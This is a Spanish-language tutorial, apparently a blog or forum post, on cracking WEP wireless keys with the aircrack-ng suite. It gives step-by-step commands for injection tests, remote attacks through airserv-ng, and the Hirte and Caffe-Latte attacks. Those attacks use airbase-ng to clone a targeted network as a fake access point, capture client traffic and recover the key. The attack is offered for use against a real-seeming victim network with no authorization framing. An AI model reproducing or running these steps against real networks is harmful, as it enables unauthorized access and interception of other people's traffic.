No…. No me volví tarumba (no mas que lo de costumbre) tampoco es un título muy descriptivo que se diga, o si??

En este post vamos a escenificar un ataque diferente, .

Y es que el título del post puede que sí sea descriptivo… se trata del ataque Caffe-Latte, no muy conocido pero muy efectivo, con pocos minutos y con pocos paquetes tendremos la clave Wep de una red inalámbrica. (Pocos son unos 50.000 paquetes y de 5 a 10 minutos dependiendo de la velocidad de inyección de la tarjeta)

Ciertamente es un ataque de inyección como otros, pero con algún aderezo, como el del despliegue de puntos de acceso ilícitos o falsos (fake AP), al estilo de Karma pero más sencillo.

Al igual que en este otro post (no os lo perdáis que es pecado ) Crackeo de WEP

Se trata de un ataque del tipo MiTM (Hombre en medio) y para llevarlo a cabo con éxito, bastará con que el atacante utilice un punto de acceso falso.

Dispondremos de dos modos de realizar estos ataques:

• Ataque Hirte:Muy efectivo pero tanto nuestra tarjeta “inyectora” como el punto de acceso víctima deben soportar fragmentaciónAtaque Café con Leche: Que su nombre debe venir de lo que se tarda en obtener la clave WEP , y está indicado para los casos en que no se pueda o el punto de acceso no sea vulnerable frente ataques por fragmentación.

Ambas técnicas se basan en lo mismo, encontrar la manera de engañar al cliente habilitado con la WEP para hacerle pensar que está registrado en una red que ya conoce.

Más información en: Cafe Latte attack steals data from Wi-Fi PCs | Security Central – InfoWorld

Antes de comenzar vamos a “sorprendernos” con algunas opciones de la suite de aircrack, desconocidas por mucha gente.

Más o menos todos ya conocemos (al menos sabemos de la existencia) de los modos 0-1-2-3-4 y 5 de aireplay:

• Ataque -0: Deautenticación
  Ataque -1: Falsa autenticación
  Ataque -2: Selección interactiva del paquete a enviar
  Ataque -3: Reinyección de una petición ARP (ARP-request)
  Ataque -4: Ataque chopchop
  Ataque -5: Ataque de Fragmentación

Pues bueno, existen otros, como son el -9, -7 y -6

También vamos a aprender a usar otras herramientas que se incluyen en la suite aircrack-ng, muy útiles y que no se les presta la atención debida… estas van a ser:

• • airserv-ng
  • airbase-ng

Pruebas de inyección con aireplay-ng y airserv-ng

Emnpecemois por el modo -9 de aireplay, se trata de un test de inyección y viene a ser muy útil cuando queremos “probar” si será factible la inyección de frames en una red inalámbrica.

Ponemos airodump-ng a escuchar… por ejemplo por el canal 6, así:

Código: ./airodump-ng -w prueba -c 6 eth1

(eth1 es el nombre de mi tarjeta inalámbrica…)

Probamos:

Código: ./aireplay-ng -9 eth1

También podríamos haber indicado el essid o el punto de acceso, algo así:

Código: ./aireplay-ng -9 -a AQUÍ_LA_MAC -e AQUÍ_EL_ESSID eth1

Si disponemos de dos tarjetas inalámbricas podemos probar:

Código: ./aireplay-ng -9 -i wlan1 wlan0

• • wlan1 actuará como punto de acceso
  • wlan0 es la tarjeta que inyectará los paquetes.

Como ya os dije, hay algunas utilidades interesantes y no muy conocidas, una de ellas es airserv-ng que nos puede ser útil por si queremos realizar un ataque desde otra máquina

Os pego una breve descripción traducida de la web de aircrack

Cita: Airserv-ng es un servidor para tarjetas wireless que permite múltiples aplicaciones y usar programas wireless independientemente de la tarjeta y del driver, a través de una conexión de red TCP cliente-servidor.

Todos los sistemas operativos y drivers de las tarjetas wireless están incorporados dentro del servidor. Esto elimina la necesidad de que cada aplicación wireless contenga los datos de la tarjeta y del driver. Tambien soporta múltiples sistemas operativos.

Cuando se inicia el servidor, escucha en una IP y en un número de puerto TCP específicos por las conexiones de los clientes. La aplicación wireless entonces se comunica con el servidor a través de la dirección IP y el número de puerto. Cuando usemos la suite aircrack-ng, especificaremos ”<dirección IP del servidor> dos puntos <número de puerto>” en lugar del nombre de la interface. Un ejemplo puede ser 127.0.0.1:666. Esto permite interesantes posibilidades:

• Eliminado la complejidad de los nombres de las tarjetas wireless y sus drivers, los desarrolladores de software se podrán concentrar en las funcionalidades de los programas. Esto permitirá que estén disponibles un mayor número de aplicaciones.

• También se reducen de forma importante los esfuerzos de mantenimiento.

• Sensores remotos serán de esta forma fáciles de implementar. Solo una tarjeta wireless y airserv-ng se requieren para ejecutar en un sensor remoto. Esto significa que se pueden crear pequeños sistemas empotrados de forma fácil.

• Puedes mezclar y compartir varios sistemas operativos. El servidor y cada una de las aplicaciones pueden potencialmente ejecutarse en diferentes sistemas operativos.

• Algunas tarjetas wireless no permiten ejecutar múltiples aplicaciones al mismo tiempo. Este contratiempo se elimina ahora con este nuevo sistema cliente-servidor.

• Usando una red TCP, el cliente y el servidor pueden encontrarse en diferentes partes del mundo. Con que solo dispongas de una conexión de red, funcionará.

A probar… en una shell lanzamos el servidor, así:

Código: ./airserv-ng -p 9999 -d eth1 -c1

(escuchará por el Puerto 9999 de TCP y usa el canal 1)

Y ahora desde otra máquina podremos conectarnos para hacer la prueba de inyección:

Código: ./aireplay-ng -9 172.28.0.101:9999

Si no disponemos de otra maquina con aircrack instalado podemos probar desde otra shell en nuestro mismo sistema (esto no tiene mucho sentido pero se trata de probar…)

Código: ./aireplay-ng -9 127.0.0.1:9999

O bien, desde otra máquina:

También podríamos remotamente o desde Internet hacer algo así:

Código: Aireplay-ng -0 5 -a 00:11:22:33:44:55 80.33.45.108:9999

Siempre y cuando tengamos abierto el puerto 9999 y mapeado a la máquina 172.28.0.101

Ataques. Caffe-Latte y Hirte attack con airbase-ng

Para llevar a cabo estos ataques necesitamos saber usar otra herramienta de aircrack, que es: airbase-ng

Airbase-ng es una utilidad muy versátil con la que podemos convertir nuestro pc y/o nuestra tarjeta inalámbrica en un punto de acceso lícito.

Pero airbase también puede atacar a los clientes conectados a un Punto de Acceso.

Las funciones más importantes que se pueden realizar son:

• • Implementa el ataque a un cliente “Caffe Latte WEP”.
  • Implementa el ataque “Hirte WEP client attack”.
  • Captura del handshake WPA/WP2.
  • Puede actuar como un Punto de Acceso “ad-hoc”
  • Puede actuar como un Punto de Acceso normal
  • Puede filtrar por SSID o dirección MAC del cliente
  • Puede manipular y reenviar paquetes
  • Puede encriptar los paquetes enviados y desendriptar los recibidos

Vamos, una joya….

Airbase utiliza una interface TAP (como la del post anterior de buddy y easside) por lo que antes de usarla escribimos:

Código: modprobe tun

y una vez que lancemos airbase podemos usar esa interface mediante:

Código: ifconfig at0 up

Podemos desplegar un punto de acceso sencillamente escribiendo:

Código: ./airbase-ng -c 11 -e APVictor

Y entonces los clientes se podrían conectar al punto de acceso APVictor usando el canal 11 y sin seguridad… si además implementamos un servidor dhcp, enrutamiento, etc.. pues eso… se comporta como una red insegura.

También podemos usar cifrado:

Código: ./airbase-ng -c11 -e APVictor -w F110ECE0DC

Y los clientes que se quieran conectar deberás usar la clave especificada en la opción -w

Pero bueno, esto no es lo que nos interesa… lo que queremos es otra cosa.

Usaremos airbase para desplegar un punto de acceso falso con la esperanza que se conecten los clientes y poder así conseguir la clave WEP de la red.

Imagina que en tu casa/oficina/colegio existe una red que se llama PEPILLO y que tras lanzar al airodump conseguimos averiguar el canal que está usando, el bssid del punto de acceso y la mac de algún cliente asociado… esto no es nada nuevo, es lo de siempre.

Ahora viene la pregunta de rigor!!!

¿Qué pasaría si además de ese existe otro punto de acceso con el mismo essid, con el mismo bssid y emitiendo por el mismo canal?

Si estamos lo suficientemente cerca del cliente víctima y(o diponemos de una buen antena y/o amplificador… será nuestro.

Estas técnicas se basan en la proximidad entre cliente-atacante y no entre el atacante-punto de acceso.

LLegó la hora… llevemos a cabo estas técnicas de las que hemos hablado… primero a fijar el objetivo:

Nuestra víctima será AticoB

Ahora afinamos mas airodump…

Código: ./airodump-ng -w captura_AticoB -c10 -d 00:18:E7:35:47:9A

E otra shell vamos a lanzar el ataque Hirte con airbase-ng, así:

Código: ./airbase-ng -c 10 -e AticoB -W 1 -N -a 00:18:E7:35:47:9A

Donde:

• -c es el canal por el que emite el punto de acceso legítimo
  -e es el essid
  -W 1 obligará al cliente a conectarse con clave WEP (la suya claro )
  -N es el tipo de ataque (N para Hirte L para Caffe-Latte)
  -a es la MAC del punto de acceso

Bien… pero qué hace airbase???

Pues despliega un punto de acceso (falso en este caso) y usará la interface TAP junto con la interface física para completar el ataque.

¿y el cliente “víctima”? ¿Sucede algo? Pues no… sencillamente “pasará” por nuestro fake AP y del nuestro al “verdadero”, es decir, actuamos como intermediarios, el cliente no pierde conectividad y podemos inyectarle paquetes

La interface TAP (at0) se usará para enviar los paquetes, mientras que la interface física los capturará…

Una vez lanzado el comando anterior se procede automáticamente al ataque especificado (Hirte o Caffe-Latte) sin mas intervención.

En la ventana de airodump se iran mostrando los datos capturados (no te preocupes si parece que no avanza o si parece “atascado”… es posible que pasados unos segundos aumenten bruscamente, por ejemplo de 1200 a 7000 es normal en este tipo de ataque, es como si los fuese guardando airbase)

Si el/los clientes ya están conectados puede ser necesario (no es obligatorio) enviarles una desautenticación para que inicie mas rápidamente el ataque…

En fin, voy a empezar de nuevo y te pongo las capturas de pantalla todas juntas:

1.- Lanzamos airodump para fijar el objetivo

2.- Lanzamos airbase en otra shell

3.- Vemos que ocurre en la shell de airodump

Observa que he resaltado en rojo el tiempo que lleva!!! 3 minutos y mas de 43000 paquetes de datos…

4.- En otra shell lanzamos aircrack con la opción -P 2 esto acelerará el crack de forma notable y con apenas 40-50 mil paquetes la tendremos.

Ya lo ves, en menos de 3 minutos (tardé mas en copiar y pegar las pantallas que en crackear la clave WEP

La técnica de Caffe-Latte es similar, igualita en su desarrollo, lo que difiere es cómo inyecta.

En fin, os dejo “tarea” hay otra herramienta en la suite de aircrack MUY, MUY, MUY util… es airtun-ng, a ver si os animáis y le sacamos partido.

Saludos!
Fuente